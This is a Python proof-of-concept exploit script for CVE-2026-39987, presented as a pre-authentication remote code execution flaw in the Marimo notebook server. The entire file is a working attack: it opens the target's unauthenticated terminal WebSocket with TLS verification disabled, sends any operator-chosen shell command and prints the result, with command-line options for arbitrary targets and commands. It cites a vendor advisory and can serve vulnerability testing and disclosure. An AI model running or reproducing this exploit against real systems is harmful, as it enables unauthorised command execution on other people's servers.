#!/usr/bin/env python3
"""
POC script for CVE-2026-39987, a pre-authentication Remote Code Execution (RCE) vulnerability in Marimo. The exploit leverages a WebSocket endpoint to execute arbitrary commands on the target system.
Based on the advisory located at https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
https://github.com/jasonbernier/CVE-2026-39987

"""
import websocket
import argparse
import time
import sys
import urllib.parse
import ssl

def exploit(target_url, command="id && whoami && hostname"):
    # Normalize URL
    if not target_url.startswith(('http://', 'https://')):
        target_url = f"http://{target_url}"
    
    parsed = urllib.parse.urlparse(target_url)
    if parsed.scheme not in ['http', 'https']:
        print(f"[-] Invalid scheme: {parsed.scheme}")
        sys.exit(1)
    
    # Determine protocol based on port
    if parsed.port == 443 or parsed.scheme == 'https':
        ws_scheme = 'wss'
    else:
        ws_scheme = 'ws'
    
    # Build WebSocket URL
    ws_path = parsed.path.rstrip('/')
    if ws_path.endswith('/terminal/ws'):
        ws_path = ws_path.replace('/terminal/ws', '/terminal/ws')
    elif '/terminal/ws' not in ws_path:
        ws_path = f"{ws_path}/terminal/ws"
    
    ws_url = f"{ws_scheme}://{parsed.netloc}{ws_path}"
    
    try:
        print(f"[+] Connecting to {ws_url}...")
        # Disable SSL verification for self-signed certs
        ws = websocket.create_connection(ws_url, sslopt={"cert_reqs": ssl.CERT_NONE})
        
        # Wait for initial output to drain
        try:
            while True:
                ws.settimeout(1)
                ws.recv()
        except:
            pass
        
        # Execute command
        print(f"[+] Executing: {command}")
        ws.send(command + "\n")
        time.sleep(2)
        
        # Get output
        output = ""
        try:
            while True:
                ws.settimeout(1)
                chunk = ws.recv()
                output += chunk
        except:
            pass
        
        print("\n[+] Output:")
        print(output)
        ws.close()
        
    except Exception as e:
        print(f"[-] Error: {str(e)}")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description='CVE-2026-39987 Exploit for Marimo Pre-Auth RCE')
    parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:2718)')
    parser.add_argument('-c', '--command', default='id && whoami && hostname', 
                        help='Command to execute (default: id && whoami && hostname)')
    args = parser.parse_args()
    
    exploit(args.url, args.command)

if __name__ == "__main__":
    main()